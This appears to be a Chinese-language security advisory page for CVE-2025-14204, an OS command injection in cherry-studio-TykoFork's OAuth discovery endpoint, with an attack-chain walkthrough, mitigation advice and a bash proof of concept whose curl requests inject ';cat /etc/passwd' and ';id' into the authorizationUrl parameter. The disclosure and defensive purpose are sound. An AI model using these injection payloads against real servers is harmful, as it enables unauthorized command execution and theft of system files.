IPBUF安全漏洞报告
English
CVE-2025-14204 CVSS 6.3 中危

CVE-2025-14204: cherry-studio OAuth授权服务器OS命令注入漏洞

披露日期: 2025-12-07

漏洞信息

漏洞编号
CVE-2025-14204
漏洞类型
OS命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
TykoDev cherry-studio-TykoFork 0.1

相关标签

CVE-2025-14204OS命令注入OAuthcherry-studioTykoFork远程代码执行Web安全身份认证漏洞CVSS 6.3

漏洞概述

CVE-2025-14204是TykoDev cherry-studio-TykoFork 0.1版本中的一个高危安全漏洞,存在于OAuth Server Discovery组件中。该漏洞位于/.well-known/oauth-authorization-server端点的redirectToAuthorization函数,攻击者可通过manipulation操控authorizationUrl参数实现操作系统命令注入。由于该漏洞可远程利用且只需要低权限认证,无需用户交互即可发起攻击,因此具有较高的实际威胁性。攻击者成功利用此漏洞可在受影响的服务器上执行任意操作系统命令,可能导致数据泄露、系统完全沦陷、横向移动等严重后果。CVSS 3.1评分6.3(中等严重程度)反映了该漏洞在机密性、完整性和可用性方面均造成较低影响的特点。该漏洞已于2025年12月7日公开披露, exploits已在互联网公开可用,建议受影响用户立即采取修复措施。

技术细节

该漏洞根源于cherry-studio-TykoFork应用对OAuth Server Discovery端点的实现缺陷。具体来说,/.well-known/oauth-authorization-server路由的redirectToAuthorization函数在处理authorizationUrl参数时未进行充分的安全校验和输入过滤。攻击者可构造恶意构造的authorizationUrl参数,注入操作系统命令。由于该参数直接参与系统命令执行而未经过shell命令转义处理,攻击者可通过分号、管道符、&&、||等shell特殊字符注入额外命令。攻击场景如下:攻击者首先访问OAuth发现端点,通过修改authorizationUrl参数值为包含命令注入payload的字符串(如;whoami或|ls等),服务器在处理该请求时会将注入的命令作为操作系统命令执行。由于OAuth授权流程通常需要认证,攻击者可能需要低权限账户(如普通用户账户)即可触发该漏洞。成功利用后,攻击者可在服务器上下文环境中执行任意命令,获取敏感信息、部署后门或进一步渗透内网。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器运行cherry-studio-TykoFork 0.1版本,检查/.well-known/oauth-authorization-server端点是否可用
STEP 2
步骤2: 构造恶意请求
攻击者构造包含OS命令注入payload的authorizationUrl参数,使用分号、管道符或&&等shell特殊字符注入恶意命令
STEP 3
步骤3: 发送 exploit
通过HTTP GET或POST请求将恶意构造的authorizationUrl参数发送到OAuth Server Discovery端点
STEP 4
步骤4: 命令执行
服务器端redirectToAuthorization函数在处理参数时未进行安全过滤,直接将用户输入拼接到系统命令中执行
STEP 5
步骤5: 验证与利用
攻击者接收命令执行结果,可进一步利用获取的数据、部署持久化后门或进行横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-14204 PoC - cherry-studio OAuth Server Discovery OS Command Injection # Affected: TykoDev cherry-studio-TykoFork 0.1 # Component: /.well-known/oauth-authorization-server # Function: redirectToAuthorization TARGET_URL="http://target-server:3000" PAYLOAD=";cat /etc/passwd" # Method 1: Direct parameter injection via query string echo "[*] Testing CVE-2025-14204 - OS Command Injection" echo "[*] Target: $TARGET_URL" echo "[*] Payload: $PAYLOAD" curl -v "$TARGET_URL/.well-known/oauth-authorization-server?authorizationUrl=$PAYLOAD" 2>&1 # Method 2: POST request with JSON body # curl -X POST "$TARGET_URL/.well-known/oauth-authorization-server" \ # -H "Content-Type: application/json" \ # -d '{"authorizationUrl":";id"}' # Method 3: Using pipe command injection PAYLOAD2="|id" # curl "$TARGET_URL/.well-known/oauth-authorization-server?authorizationUrl=$PAYLOAD2" echo "[!] If successful, you should see command output in response"

影响范围

cherry-studio-TykoFork 0.1

防御指南

临时缓解措施
在官方修复版本发布前,建议采取以下临时缓解措施:1)通过网络层访问控制限制对/.well-known/oauth-authorization-server端点的访问,仅允许受信任的IP访问;2)配置Web服务器反向代理规则,过滤包含shell特殊字符的请求参数;3)如果OAuth功能非业务必需,可暂时禁用OAuth Server Discovery功能;4)使用容器化部署并配置严格的网络安全策略,限制容器逃逸风险;5)实施入侵检测系统(IDS)监控可疑的命令注入攻击特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表